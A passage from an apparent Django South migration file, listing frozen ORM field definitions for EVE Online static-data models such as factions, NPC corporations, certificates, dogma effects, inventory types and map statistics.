'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'size_factor': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'faction_set'", 'null': 'True', 'to': "orm['eve_db.MapSolarSystem']"}),
'station_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'station_system_count': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'eve_db.chrrace': {
'Meta': {'ordering': "['id']", 'object_name': 'ChrRace'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '30'}),
'short_description': ('django.db.models.fields.TextField', [], {'blank': 'True'})
},
'eve_db.crpactivity': {
'Meta': {'ordering': "['id']", 'object_name': 'CrpActivity'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'eve_db.crpnpccorporation': {
'Meta': {'ordering': "['id']", 'object_name': 'CrpNPCCorporation'},
'border_systems': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'corridor_systems': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'enemy_corp': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'enemy_of_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'extent': ('django.db.models.fields.CharField', [], {'max_length': '1', 'blank': 'True'}),
'faction': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrFaction']", 'null': 'True', 'blank': 'True'}),
'friendly_corp': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'friendly_with_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'fringe_systems': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'hub_systems': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'initial_share_price': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'investor1': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'invested1_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'investor1_shares': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'investor2': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'invested2_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'investor2_shares': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'investor3': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'invested3_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'investor3_shares': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'investor4': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'invested4_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'investor4_shares': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'min_security': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'public_share_percent': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'size': ('django.db.models.fields.CharField', [], {'max_length': '1', 'blank': 'True'}),
'size_factor': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'solar_system': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapSolarSystem']", 'null': 'True', 'blank': 'True'}),
'station_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'station_system_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'stations_are_scattered': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
'eve_db.crpnpccorporationdivision': {
'Meta': {'ordering': "['id']", 'unique_together': "(('corporation', 'division'),)", 'object_name': 'CrpNPCCorporationDivision'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']"}),
'division': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCDivision']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.crpnpccorporationresearchfield': {
'Meta': {'ordering': "['id']", 'unique_together': "(('skill', 'corporation'),)", 'object_name': 'CrpNPCCorporationResearchField'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'skill': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.crpnpccorporationtrade': {
'Meta': {'ordering': "['id']", 'unique_together': "(('corporation', 'type'),)", 'object_name': 'CrpNPCCorporationTrade'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.crpnpcdivision': {
'Meta': {'ordering': "['id']", 'object_name': 'CrpNPCDivision'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'leader_type': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'})
},
'eve_db.crtcategory': {
'Meta': {'ordering': "['id']", 'object_name': 'CrtCategory'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'})
},
'eve_db.crtcertificate': {
'Meta': {'ordering': "['id']", 'object_name': 'CrtCertificate'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrtCategory']", 'null': 'True', 'blank': 'True'}),
'cert_class': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrtClass']", 'null': 'True', 'blank': 'True'}),
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'grade': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'icon_num': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'})
},
'eve_db.crtclass': {
'Meta': {'ordering': "['id']", 'object_name': 'CrtClass'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'})
},
'eve_db.crtrecommendation': {
'Meta': {'ordering': "['id']", 'object_name': 'CrtRecommendation'},
'certificate': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrtCertificate']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'recommendation_level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'ship_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.crtrelationship': {
'Meta': {'ordering': "['id']", 'object_name': 'CrtRelationship'},
'child': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'child_crtrelationship_set'", 'null': 'True', 'to': "orm['eve_db.CrtCertificate']"}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'parent_crtrelationship_set'", 'null': 'True', 'to': "orm['eve_db.CrtCertificate']"}),
'parent_level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'parent_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.dgmattributecategory': {
'Meta': {'ordering': "['id']", 'object_name': 'DgmAttributeCategory'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '30'})
},
'eve_db.dgmattributetype': {
'Meta': {'ordering': "['id']", 'object_name': 'DgmAttributeType'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.DgmAttributeCategory']", 'null': 'True', 'blank': 'True'}),
'defaultvalue': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'display_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'high_is_good': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_stackable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '75'}),
'unit': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveUnit']", 'null': 'True', 'blank': 'True'})
},
'eve_db.dgmeffect': {
'Meta': {'ordering': "['id']", 'object_name': 'DgmEffect'},
'category': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'disallow_auto_repeat': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'discharge_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectdischargeattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'display_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'distribution': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'duration_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectdurationeattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'falloff_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectfalloffattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'fitting_usage_chance_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectfittingusagechanceattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'guid': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'has_electronic_chance': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'has_propulsion_chance': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'has_range_chance': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_assistance': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_offensive': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_warp_safe': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '150'}),
'npc_activation_chance_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectnpcactivationchanceattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'npc_usage_chance_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectnpcusagechanceattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'post_expression': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'pre_expression': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'range_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffectrangeattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"}),
'sfx_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'tracking_speed_attribute': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'inventoryeffecttrackingspeedattribute'", 'null': 'True', 'to': "orm['eve_db.DgmAttributeType']"})
},
'eve_db.dgmtypeattribute': {
'Meta': {'ordering': "['id']", 'unique_together': "(('inventory_type', 'attribute'),)", 'object_name': 'DgmTypeAttribute'},
'attribute': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.DgmAttributeType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'inventory_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']"}),
'value_float': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'value_int': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.dgmtypeeffect': {
'Meta': {'ordering': "['id']", 'unique_together': "(('type', 'effect'),)", 'object_name': 'DgmTypeEffect'},
'effect': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.DgmEffect']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_default': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']"})
},
'eve_db.evegraphic': {
'Meta': {'ordering': "['id']", 'object_name': 'EveGraphic'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'file': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_obsolete': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'eve_db.eveicon': {
'Meta': {'ordering': "['id']", 'object_name': 'EveIcon'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'file': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'})
},
'eve_db.evename': {
'Meta': {'ordering': "['id']", 'object_name': 'EveName'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvCategory']", 'null': 'True', 'blank': 'True'}),
'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvGroup']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.eveunit': {
'Meta': {'ordering': "['id']", 'object_name': 'EveUnit'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'display_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '75'})
},
'eve_db.invblueprinttype': {
'Meta': {'ordering': "['blueprint_type']", 'object_name': 'InvBlueprintType'},
'blueprint_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'blueprint_type_set'", 'unique': 'True', 'primary_key': 'True', 'to': "orm['eve_db.InvType']"}),
'material_modifier': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'max_production_limit': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'parent_blueprint_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'parent_blueprint_type_set'", 'null': 'True', 'to': "orm['eve_db.InvType']"}),
'product_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'blueprint_product_type_set'", 'to': "orm['eve_db.InvType']"}),
'productivity_modifier': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'research_copy_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'research_material_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'research_productivity_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'research_tech_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'tech_level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'waste_factor': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.invcategory': {
'Meta': {'ordering': "['id']", 'object_name': 'InvCategory'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'eve_db.invcontrabandtype': {
'Meta': {'ordering': "['id']", 'unique_together': "(('faction', 'type'),)", 'object_name': 'InvContrabandType'},
'attack_min_sec': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'confiscate_min_sec': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'faction': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrFaction']"}),
'fine_by_value': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'standing_loss': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvType']"})
},
'eve_db.invflag': {
'Meta': {'ordering': "['id']", 'object_name': 'InvFlag'},
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'order': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'text': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'type_text': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'})
},
'eve_db.invgroup': {
'Meta': {'ordering': "['id']", 'object_name': 'InvGroup'},
'allow_anchoring': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'allow_manufacture': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'allow_recycle': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvCategory']", 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_anchored': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_fittable_non_singleton': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '150'}),
'use_base_price': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
'eve_db.invmarketgroup': {
'Meta': {'ordering': "['id']", 'object_name': 'InvMarketGroup'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'has_items': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvMarketGroup']", 'null': 'True', 'blank': 'True'})
},
'eve_db.invmetagroup': {
'Meta': {'ordering': "['id']", 'object_name': 'InvMetaGroup'},
'description': ('django.db.models.fields.TextField', [], {}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
'eve_db.invmetatype': {
'Meta': {'ordering': "['type']", 'object_name': 'InvMetaType'},
'meta_group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvMetaGroup']"}),
'parent_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'inventorymetatype_parent_type_set'", 'to': "orm['eve_db.InvType']"}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'inventorymetatype_type_set'", 'unique': 'True', 'primary_key': 'True', 'to': "orm['eve_db.InvType']"})
},
'eve_db.invposresource': {
'Meta': {'ordering': "['id']", 'unique_together': "(('control_tower_type', 'resource_type'),)", 'object_name': 'InvPOSResource'},
'control_tower_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'tower_resource_set'", 'to': "orm['eve_db.InvType']"}),
'faction': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrFaction']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'min_security_level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'purpose': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvPOSResourcePurpose']", 'null': 'True', 'blank': 'True'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'resource_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'pos_resource_set'", 'to': "orm['eve_db.InvType']"})
},
'eve_db.invposresourcepurpose': {
'Meta': {'ordering': "['id']", 'object_name': 'InvPOSResourcePurpose'},
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'purpose': ('django.db.models.fields.CharField', [], {'max_length': '75', 'blank': 'True'})
},
'eve_db.invtype': {
'Meta': {'ordering': "['id']", 'object_name': 'InvType'},
'base_price': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'capacity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'chance_of_duplicating': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'graphic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveGraphic']", 'null': 'True', 'blank': 'True'}),
'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvGroup']", 'null': 'True', 'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'is_published': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'market_group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.InvMarketGroup']", 'null': 'True', 'blank': 'True'}),
'mass': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'portion_size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'race': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrRace']", 'null': 'True', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'volume': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.invtypematerial': {
'Meta': {'ordering': "['id']", 'unique_together': "(('type', 'material_type'),)", 'object_name': 'InvTypeMaterial'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'material_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'itemtype_set'", 'to': "orm['eve_db.InvType']"}),
'quantity': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'material_set'", 'to': "orm['eve_db.InvType']"})
},
'eve_db.invtypereaction': {
'Meta': {'ordering': "['id']", 'unique_together': "(('reaction_type', 'input', 'type'),)", 'object_name': 'InvTypeReaction'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'reaction_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'inventorytypereactions_reaction_type_set'", 'to': "orm['eve_db.InvType']"}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'inventorytypereactions_type_set'", 'to': "orm['eve_db.InvType']"})
},
'eve_db.mapcelestialstatistic': {
'Meta': {'ordering': "['celestial']", 'object_name': 'MapCelestialStatistic'},
'age': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'celestial': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapDenormalize']", 'unique': 'True', 'primary_key': 'True'}),
'density': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'eccentricity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'escape_velocity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'is_fragmented': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_locked': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'life': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'luminousity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'mass': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'mass_dust': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'mass_gas': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'orbit_period': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'orbit_radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'pressure': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'rotation_rate': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'spectral_class': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'surface_gravity': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'temperature': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'eve_db.mapconstellation': {
'Meta': {'ordering': "['id']", 'object_name': 'MapConstellation'},
'faction': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrFaction']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'radius': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapRegion']", 'null': 'True', 'blank': 'True'}),
'sovereignty_grace_start_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sovereignty_start_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
